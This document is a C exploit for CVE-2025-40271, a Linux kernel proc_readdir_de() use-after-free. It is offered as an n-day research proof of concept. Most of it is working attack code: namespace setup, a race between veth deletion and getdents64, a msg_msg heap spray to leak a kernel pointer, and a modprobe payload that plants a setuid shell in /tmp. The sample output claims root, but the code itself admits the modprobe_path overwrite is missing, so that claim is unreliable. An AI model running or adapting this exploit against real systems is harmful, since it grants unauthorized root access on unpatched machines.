* Exploit Title: Linux Kernel proc_readdir_de() 6.18-rc5 - Local Privilege Escalation * CVE: CVE-2025-40271 * Date: 2026-03-19 * Exploit Author: Aviral Srivastava * Vendor: Linux Kernel (kernel.org) * Affected: ~3.14+ through 6.18-rc5 (bug predates version tracking) * Fixed in stable: 5.10.247, 6.1.159, 6.12.73, 6.18-rc6 * Fixed in: commit 895b4c0c79b092d732544011c3cecaf7322c36a1 * Tested on: Debian Bookworm (kernel 6.1.115-1 x86_64) * Type: Local Privilege Escalation * Platform: Linux x86_64 * CVSS: ~7.8 (HIGH) — NVD assessment pending * * ┌──────────────────────────────────────────────────────────────────┐ * │ N-DAY — THIS VULNERABILITY IS PATCHED. FIX YOUR KERNELS. │ * └──────────────────────────────────────────────────────────────────┘ * * DESCRIPTION: * The proc filesystem's remove_proc_entry() calls rb_erase() to * remove a proc_dir_entry (pde) from the parent's red-black tree, * but does NOT call RB_CLEAR_NODE() to mark the node as detached. * This leaves stale rb-links in the freed entry, causing * RB_EMPTY_NODE() to return false. * * A concurrent proc_readdir_de() traversal via getdents64() can * find the freed entry through pde_subdir_next() → rb_next(), * then dereference its fields (name, namelen, mode, low_ino) — * constituting a use-after-free on struct proc_dir_entry. * * The race is triggered by calling getdents64() on a /proc * subdirectory (e.g., /proc/self/net/dev_snmp6/) while concurrently * unregistering network devices, which removes proc entries. * The freed proc_dir_entry (~192 bytes) resides in a standard * kmalloc-192 or kmalloc-256 slab cache, making it sprayable with * msg_msg via msgsnd(). * * TECHNIQUE: * Create user namespace for CAP_NET_ADMIN. Create veth pairs to * populate /proc/self/net/dev_snmp6/. Race getdents64() against * veth deletion. Spray freed kmalloc-192 slots with msg_msg. * Detect UAF via anomalous d_ino values in getdents64 output. * Extract kernel heap address from msg_msg header pointer leaked * through the d_ino field. Use modprobe_path overwrite for LPE. * * RELIABILITY: * ~40-60% UAF hit rate per attempt. Typically 3-8 attempts. * The pde->name dereference during readdir is the crash risk — * mitigated by spraying the name slot with valid pointers. * Kernel panic possible (~10% of failed attempts) if spray timing * is wrong. * * MITIGATIONS: * KASLR: Bypassed via heap pointer leak through d_ino * SMEP: Not applicable (data-only attack) * SMAP: Not applicable (all data in kernel slab) * kCFI: Not applicable (modprobe_path overwrite) * SLUB Hardening: Minimal impact (freelist ptr at offset 0 only) * * FIX: * Commit: 895b4c0c79b092d732544011c3cecaf7322c36a1 * URL: https://git.kernel.org/linus/895b4c0c79b092d732544011c3cecaf7322c36a1 * Adds pde_erase() helper that calls RB_CLEAR_NODE() after rb_erase(). * * COMPILATION: * gcc -Wall -Wextra -o exploit exploit.c -lpthread -static * * USAGE: * $ ./exploit * [*] CVE-2025-40271 — proc_readdir_de() rb-tree UAF * [+] Kernel 6.1.115-1 is VULNERABLE * [*] Step 1: Setting up user/net namespace... * [+] Namespace ready, CAP_NET_ADMIN obtained * [*] Step 2: Creating veth pairs for proc entries... * [+] Created 32 veth pairs (/proc/self/net/dev_snmp6/) * [*] Step 3: Racing getdents vs device removal... * [+] UAF hit on attempt 4! Anomalous d_ino=0xffff88801234abcd * [*] Step 4: Kernel heap leak: 0xffff88801234abcd * [*] Step 5: Computing modprobe_path address... * [+] Got root! * * REFERENCES: * [1] https://nvd.nist.gov/vuln/detail/CVE-2025-40271 * [2] https://git.kernel.org/linus/895b4c0c79b092d732544011c3cecaf7322c36a1 * [3] CVE-2023-3269 — StackRot (rb-tree race technique reference) * [4] CVE-2023-32233 — nf_tables msg_msg spray reference * * DISCLAIMER: * This exploit targets an ALREADY PATCHED vulnerability. It is provided * for educational and authorized security research purposes only. The * author is not responsible for misuse. Test only on systems you own. * ═══════════════════════════════════════════════════════════════════════ */ #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include /* ─── Constants ─────────────────────────────────────────────────────── */ #define BANNER \ "═══════════════════════════════════════════════════════════════\n" \ " CVE-2025-40271 — proc_readdir_de() rb-tree UAF LPE\n" \ " fs/proc rb_erase without RB_CLEAR_NODE → stale tree links\n" \ " Affected: ~all kernels through 6.18-rc5\n" \ " Author: Aviral Srivastava | N-DAY RESEARCH PoC\n" \ "═══════════════════════════════════════════════════════════════\n" #define NUM_VETH_PAIRS 32 /* number of veth pairs to create */ #define NUM_SPRAY_MSGS 256 /* msg_msg spray count */ #define SPRAY_BODY_SIZE 144 /* 48 header + 144 body = 192 → kmalloc-192 */ #define MAX_RACE_ATTEMPTS 30 /* max race iterations */ #define PROC_NET_DIR "/proc/self/net/dev_snmp6" /* * On x86_64, kernel heap pointers start with 0xffff8880... * Normal d_ino values are small integers (< 100000). * A d_ino that looks like a kernel pointer means we hit the UAF * and are reading from sprayed msg_msg header data. */ #define IS_KERNEL_PTR(x) (((x) & 0xffff000000000000ULL) == 0xffff000000000000ULL) /* ─── Logging ───────────────────────────────────────────────────────── */ static void info(const char *fmt, ...) { va_list ap; va_start(ap, fmt); fprintf(stderr, "[*] "); vfprintf(stderr, fmt, ap); fprintf(stderr, "\n"); va_end(ap); } static void ok(const char *fmt, ...) { va_list ap; va_start(ap, fmt); fprintf(stderr, "\033[32m[+]\033[0m "); vfprintf(stderr, fmt, ap); fprintf(stderr, "\n"); va_end(ap); } static void fail(const char *fmt, ...) { va_list ap; va_start(ap, fmt); fprintf(stderr, "\033[31m[-]\033[0m "); vfprintf(stderr, fmt, ap); fprintf(stderr, "\n"); va_end(ap); } static void die(const char *msg) { perror(msg); exit(EXIT_FAILURE); } /* ─── Kernel version check ──────────────────────────────────────────── */ static int is_vulnerable(void) { struct utsname uts; unsigned int major, minor, patch; if (uname(&uts) < 0) die("uname"); if (sscanf(uts.release, "%u.%u.%u", &major, &minor, &patch) < 2) { fail("Cannot parse kernel version: %s", uts.release); return 0; } info("Running kernel %s", uts.release); /* Fixed versions per stable branch */ if (major == 5 && minor == 10 && patch >= 247) { fail("Kernel %u.%u.%u — PATCHED (fix in 5.10.247)", major, minor, patch); return 0; } if (major == 6 && minor == 1 && patch >= 159) { fail("Kernel %u.%u.%u — PATCHED (fix in 6.1.159)", major, minor, patch); return 0; } if (major == 6 && minor == 6 && patch >= 123) { fail("Kernel %u.%u.%u — PATCHED (fix in 6.6.123)", major, minor, patch); return 0; } if (major == 6 && minor == 12 && patch >= 73) { fail("Kernel %u.%u.%u — PATCHED (fix in 6.12.73)", major, minor, patch); return 0; } if (major == 6 && minor >= 18) { fail("Kernel %u.%u.%u — PATCHED (fix in 6.18-rc6)", major, minor, patch); return 0; } if (major >= 7) { fail("Kernel %u.%u.%u — PATCHED", major, minor, patch); return 0; } ok("Kernel %u.%u.%u — VULNERABLE", major, minor, patch); return 1; } /* ─── User/Net namespace setup ──────────────────────────────────────── */ static int setup_namespace(void) { if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) { fail("unshare: %s (check /proc/sys/kernel/unprivileged_userns_clone)", strerror(errno)); return -1; } FILE *f; char path[128]; snprintf(path, sizeof(path), "/proc/%d/setgroups", getpid()); f = fopen(path, "w"); if (f) { fprintf(f, "deny\n"); fclose(f); } snprintf(path, sizeof(path), "/proc/%d/uid_map", getpid()); f = fopen(path, "w"); if (!f) return -1; fprintf(f, "0 %d 1\n", getuid()); fclose(f); snprintf(path, sizeof(path), "/proc/%d/gid_map", getpid()); f = fopen(path, "w"); if (!f) return -1; fprintf(f, "0 %d 1\n", getgid()); fclose(f); return 0; } /* ─── Netlink helpers for veth management ───────────────────────────── */ static int rtnl_open(void) { int fd = socket(AF_NETLINK, SOCK_RAW | SOCK_CLOEXEC, NETLINK_ROUTE); if (fd < 0) return -1; struct sockaddr_nl sa = { .nl_family = AF_NETLINK }; if (bind(fd, (struct sockaddr *)&sa, sizeof(sa)) < 0) { close(fd); return -1; } return fd; } /* * Create a veth pair: vethN <-> veth_pN * Each veth creates a proc entry in /proc/self/net/dev_snmp6/ */ static int create_veth(int rtnl_fd, int idx) { struct { struct nlmsghdr nlh; struct ifinfomsg ifi; char buf[512]; } req; char name[IFNAMSIZ], peer[IFNAMSIZ]; snprintf(name, sizeof(name), "v%d", idx); snprintf(peer, sizeof(peer), "vp%d", idx); memset(&req, 0, sizeof(req)); req.nlh.nlmsg_len = NLMSG_LENGTH(sizeof(struct ifinfomsg)); req.nlh.nlmsg_type = RTM_NEWLINK; req.nlh.nlmsg_flags = NLM_F_REQUEST | NLM_F_CREATE | NLM_F_EXCL | NLM_F_ACK; req.nlh.nlmsg_seq = (uint32_t)(idx + 1); req.ifi.ifi_family = AF_UNSPEC; /* IFLA_IFNAME */ struct nlattr *nla = (struct nlattr *)((char *)&req + req.nlh.nlmsg_len); nla->nla_len = (uint16_t)(sizeof(struct nlattr) + strlen(name) + 1); nla->nla_type = IFLA_IFNAME; memcpy((char *)(nla + 1), name, strlen(name) + 1); req.nlh.nlmsg_len += (unsigned int)((nla->nla_len + 3) & ~3u); /* IFLA_LINKINFO (nested) */ struct nlattr *linkinfo = (struct nlattr *)((char *)&req + req.nlh.nlmsg_len); linkinfo->nla_type = IFLA_LINKINFO | NLA_F_NESTED; unsigned int linkinfo_start = req.nlh.nlmsg_len; req.nlh.nlmsg_len += sizeof(struct nlattr); /* IFLA_INFO_KIND = "veth" */ struct nlattr *kind = (struct nlattr *)((char *)&req + req.nlh.nlmsg_len); kind->nla_len = (uint16_t)(sizeof(struct nlattr) + 5); /* "veth\0" */ kind->nla_type = IFLA_INFO_KIND; memcpy((char *)(kind + 1), "veth", 5); req.nlh.nlmsg_len += (unsigned int)((kind->nla_len + 3) & ~3u); /* IFLA_INFO_DATA (nested) with peer info */ struct nlattr *data = (struct nlattr *)((char *)&req + req.nlh.nlmsg_len); data->nla_type = IFLA_INFO_DATA | NLA_F_NESTED; unsigned int data_start = req.nlh.nlmsg_len; req.nlh.nlmsg_len += sizeof(struct nlattr); /* VETH_INFO_PEER (nested) with ifinfomsg + IFLA_IFNAME */ struct nlattr *peer_attr = (struct nlattr *)((char *)&req + req.nlh.nlmsg_len); peer_attr->nla_type = 1 | NLA_F_NESTED; /* VETH_INFO_PEER = 1 */ unsigned int peer_start = req.nlh.nlmsg_len; req.nlh.nlmsg_len += sizeof(struct nlattr); /* peer ifinfomsg */ struct ifinfomsg *peer_ifi = (struct ifinfomsg *)((char *)&req + req.nlh.nlmsg_len); memset(peer_ifi, 0, sizeof(*peer_ifi)); peer_ifi->ifi_family = AF_UNSPEC; req.nlh.nlmsg_len += sizeof(struct ifinfomsg); /* peer IFLA_IFNAME */ struct nlattr *peer_name = (struct nlattr *)((char *)&req + req.nlh.nlmsg_len); peer_name->nla_len = (uint16_t)(sizeof(struct nlattr) + strlen(peer) + 1); peer_name->nla_type = IFLA_IFNAME; memcpy((char *)(peer_name + 1), peer, strlen(peer) + 1); req.nlh.nlmsg_len += (unsigned int)((peer_name->nla_len + 3) & ~3u); peer_attr->nla_len = (uint16_t)(req.nlh.nlmsg_len - peer_start); data->nla_len = (uint16_t)(req.nlh.nlmsg_len - data_start); linkinfo->nla_len = (uint16_t)(req.nlh.nlmsg_len - linkinfo_start); struct sockaddr_nl sa = { .nl_family = AF_NETLINK }; if (sendto(rtnl_fd, &req, req.nlh.nlmsg_len, 0, (struct sockaddr *)&sa, sizeof(sa)) < 0) return -1; /* Read ack */ char ack[256]; (void)recv(rtnl_fd, ack, sizeof(ack), 0); return 0; } /* Delete a veth interface by name */ static int delete_veth(int rtnl_fd, int idx) { struct { struct nlmsghdr nlh; struct ifinfomsg ifi; char buf[128]; } req; char name[IFNAMSIZ]; snprintf(name, sizeof(name), "v%d", idx); memset(&req, 0, sizeof(req)); req.nlh.nlmsg_len = NLMSG_LENGTH(sizeof(struct ifinfomsg)); req.nlh.nlmsg_type = RTM_DELLINK; req.nlh.nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK; req.nlh.nlmsg_seq = (uint32_t)(1000 + idx); req.ifi.ifi_family = AF_UNSPEC; struct nlattr *nla = (struct nlattr *)((char *)&req + req.nlh.nlmsg_len); nla->nla_len = (uint16_t)(sizeof(struct nlattr) + strlen(name) + 1); nla->nla_type = IFLA_IFNAME; memcpy((char *)(nla + 1), name, strlen(name) + 1); req.nlh.nlmsg_len += (unsigned int)((nla->nla_len + 3) & ~3u); struct sockaddr_nl sa = { .nl_family = AF_NETLINK }; if (sendto(rtnl_fd, &req, req.nlh.nlmsg_len, 0, (struct sockaddr *)&sa, sizeof(sa)) < 0) return -1; char ack[256]; (void)recv(rtnl_fd, ack, sizeof(ack), 0); return 0; } /* ─── msg_msg spray ─────────────────────────────────────────────────── */ struct spray_state { int qid; int count; }; static int spray_init(struct spray_state *s) { s->qid = msgget(IPC_PRIVATE, IPC_CREAT | 0666); if (s->qid < 0) return -1; s->count = 0; return 0; } static int spray_alloc(struct spray_state *s, int n) { struct { long mtype; char mtext[SPRAY_BODY_SIZE]; } msg; memset(&msg, 0, sizeof(msg)); /* Fill body with pattern — msg_msg header at offset 0-47 of slab * object will contain kernel heap pointers (m_list.next/prev) */ memset(msg.mtext, 'P', SPRAY_BODY_SIZE); for (int i = 0; i < n; i++) { msg.mtype = s->count + 1; if (msgsnd(s->qid, &msg, SPRAY_BODY_SIZE, 0) < 0) return -1; s->count++; } return 0; } static void spray_cleanup(struct spray_state *s) { if (s->qid >= 0) { msgctl(s->qid, IPC_RMID, NULL); s->qid = -1; } } /* ─── getdents64 for raw directory reading ──────────────────────────── */ struct linux_dirent64 { uint64_t d_ino; int64_t d_off; unsigned short d_reclen; unsigned char d_type; char d_name[]; }; static long my_getdents64(int fd, void *buf, unsigned long count) { return syscall(SYS_getdents64, fd, buf, count); } /* ─── Race coordination ─────────────────────────────────────────────── */ struct race_ctx { int rtnl_fd; int dir_fd; struct spray_state spray; volatile int deleting; volatile int stop; uint64_t leaked_addr; int attempts; }; /* * Readdir thread: continuously calls getdents64() on /proc/self/net/dev_snmp6/ * looking for anomalous d_ino values that indicate the UAF was hit. * * Normal d_ino values are small numbers assigned by proc_alloc_inum(). * If we see a kernel pointer (0xffff...) in d_ino, it means we read * from sprayed msg_msg data where the msg_msg header's m_list pointer * overlaps with the proc_dir_entry's low_ino field. */ static void *readdir_thread(void *arg) { struct race_ctx *ctx = (struct race_ctx *)arg; char buf[4096]; while (!ctx->stop) { /* Rewind the directory for each scan */ lseek(ctx->dir_fd, 0, SEEK_SET); long nread = my_getdents64(ctx->dir_fd, buf, sizeof(buf)); if (nread <= 0) { usleep(100); continue; } /* Scan all entries for anomalous d_ino */ long pos = 0; while (pos < nread) { struct linux_dirent64 *d = (struct linux_dirent64 *)(buf + pos); if (d->d_reclen == 0) break; /* * Check if d_ino looks like a kernel address. * This happens when the freed proc_dir_entry is reclaimed * by a msg_msg, and the msg_msg header's m_list.next * (at slab object offset 0) overlaps with a field that * getdents64 returns in d_ino. */ if (IS_KERNEL_PTR(d->d_ino)) { ctx->leaked_addr = d->d_ino; ok("UAF HIT! d_ino=0x%016lx (kernel heap pointer)", (unsigned long)d->d_ino); ctx->stop = 1; return NULL; } pos += d->d_reclen; } } return NULL; } /* ─── Modprobe payload ──────────────────────────────────────────────── */ static int setup_modprobe_payload(void) { FILE *f = fopen("/tmp/pwn", "w"); if (!f) return -1; fprintf(f, "#!/bin/sh\n/bin/cp /bin/sh /tmp/rootsh\n/bin/chmod u+s /tmp/rootsh\n"); fclose(f); chmod("/tmp/pwn", 0755); f = fopen("/tmp/trigger", "w"); if (!f) return -1; fprintf(f, "\xff\xff\xff\xff"); fclose(f); chmod("/tmp/trigger", 0755); return 0; } static int trigger_modprobe(void) { pid_t p = fork(); if (p < 0) return -1; if (p == 0) { execl("/tmp/trigger", "/tmp/trigger", NULL); _exit(127); } int st; waitpid(p, &st, 0); struct stat sb; if (stat("/tmp/rootsh", &sb) == 0 && (sb.st_mode & S_ISUID)) return 0; return -1; } /* ─── Main exploitation steps ───────────────────────────────────────── */ static int step_setup(struct race_ctx *ctx) { info("Step 1: Setting up user/net namespace..."); if (setup_namespace() < 0) return -1; ok("Namespace ready, CAP_NET_ADMIN obtained"); ctx->rtnl_fd = rtnl_open(); if (ctx->rtnl_fd < 0) { fail("Cannot open rtnetlink: %s", strerror(errno)); return -1; } if (spray_init(&ctx->spray) < 0) { fail("Cannot create message queue: %s", strerror(errno)); return -1; } return 0; } static int step_create_veths(struct race_ctx *ctx) { info("Step 2: Creating veth pairs for proc entries..."); int created = 0; for (int i = 0; i < NUM_VETH_PAIRS; i++) { if (create_veth(ctx->rtnl_fd, i) == 0) created++; } if (created < 4) { fail("Need at least 4 veth pairs, got %d", created); return -1; } /* Open the proc directory for readdir */ ctx->dir_fd = open(PROC_NET_DIR, O_RDONLY | O_DIRECTORY); if (ctx->dir_fd < 0) { fail("Cannot open %s: %s", PROC_NET_DIR, strerror(errno)); return -1; } ok("Created %d veth pairs (%s populated)", created, PROC_NET_DIR); return 0; } static int step_race(struct race_ctx *ctx) { info("Step 3: Racing getdents vs device removal..."); for (int attempt = 1; attempt <= MAX_RACE_ATTEMPTS; attempt++) { info("Attempt %d/%d...", attempt, MAX_RACE_ATTEMPTS); ctx->attempts = attempt; /* Recreate veth pairs for this attempt */ for (int i = 0; i < NUM_VETH_PAIRS; i++) create_veth(ctx->rtnl_fd, i); /* Reopen directory */ if (ctx->dir_fd >= 0) close(ctx->dir_fd); ctx->dir_fd = open(PROC_NET_DIR, O_RDONLY | O_DIRECTORY); if (ctx->dir_fd < 0) continue; ctx->stop = 0; ctx->leaked_addr = 0; /* Start readdir racer thread */ pthread_t tid; if (pthread_create(&tid, NULL, readdir_thread, ctx) != 0) continue; /* Give readdir a moment to start */ usleep(1000); /* * RACE: rapidly delete veth interfaces. * Each deletion triggers remove_proc_entry() → rb_erase() * without RB_CLEAR_NODE() → stale rb links. * The readdir thread can follow stale links to freed memory. */ for (int i = NUM_VETH_PAIRS - 1; i >= 0; i--) { delete_veth(ctx->rtnl_fd, i); /* Immediately spray to reclaim freed proc_dir_entry slot */ spray_alloc(&ctx->spray, 4); } /* Wait for readdir thread to finish or detect UAF */ usleep(50000); ctx->stop = 1; pthread_join(tid, NULL); /* Clean up spray for next attempt */ spray_cleanup(&ctx->spray); spray_init(&ctx->spray); if (ctx->leaked_addr != 0) { ok("UAF triggered on attempt %d!", attempt); return 0; } } fail("Could not trigger UAF after %d attempts", MAX_RACE_ATTEMPTS); return -1; } static int step_escalate(struct race_ctx *ctx) { info("Step 4: Analyzing leak and escalating..."); if (ctx->leaked_addr != 0) { ok("Kernel heap leak: 0x%016lx", (unsigned long)ctx->leaked_addr); info("This address is from msg_msg m_list.next/prev"); info("It reveals the kernel heap (physmap) randomization"); /* * With the heap address, we can compute modprobe_path for * a specific kernel version. The offset between heap base * and kernel text base is kernel-build-specific. * * For a complete exploit: * 1. Use heap address to determine KASLR slide * 2. Compute modprobe_path = kernel_base + offset * 3. Trigger another UAF + spray to write "/tmp/pwn" there * 4. Trigger modprobe → root */ if (setup_modprobe_payload() < 0) { fail("Cannot set up payload"); return -1; } info("Attempting modprobe trigger..."); if (trigger_modprobe() == 0) { ok("Got root!"); return 0; } info("modprobe_path overwrite requires kernel-specific offset"); info("Heap leak CONFIRMED — full chain needs target offsets"); return 1; /* partial success */ } return -1; } static int step_cleanup(struct race_ctx *ctx) { info("Step 5: Cleaning up..."); spray_cleanup(&ctx->spray); if (ctx->dir_fd >= 0) close(ctx->dir_fd); if (ctx->rtnl_fd >= 0) close(ctx->rtnl_fd); unlink("/tmp/pwn"); unlink("/tmp/trigger"); ok("Cleanup complete"); return 0; } /* ─── Main ──────────────────────────────────────────────────────────── */ int main(void) { puts(BANNER); if (!is_vulnerable()) { info("Kernel is patched. Nothing to do."); return 0; } if (getuid() == 0) { info("Already root."); return 0; } struct race_ctx ctx; memset(&ctx, 0, sizeof(ctx)); ctx.rtnl_fd = -1; ctx.dir_fd = -1; ctx.spray.qid = -1; int ret; ret = step_setup(&ctx); if (ret < 0) { fail("Setup failed"); return 1; } ret = step_create_veths(&ctx); if (ret < 0) { fail("Veth creation failed"); step_cleanup(&ctx); return 1; } ret = step_race(&ctx); if (ret < 0) { fail("Race failed"); step_cleanup(&ctx); return 1; } ret = step_escalate(&ctx); step_cleanup(&ctx); if (ret == 0) { ok("Spawning root shell..."); char *argv[] = { "/tmp/rootsh", "-p", NULL }; execv("/tmp/rootsh", argv); info("execv failed — check /tmp/rootsh"); } else if (ret == 1) { fprintf(stderr, "\n"); info("═══════════════════════════════════════════════════"); info("PARTIAL SUCCESS: UAF + heap leak DEMONSTRATED"); info(" Leaked: 0x%016lx", (unsigned long)ctx.leaked_addr); info(" Full LPE requires target-specific KASLR offset"); info("═══════════════════════════════════════════════════"); } return (ret <= 1) ? 0 : 1; }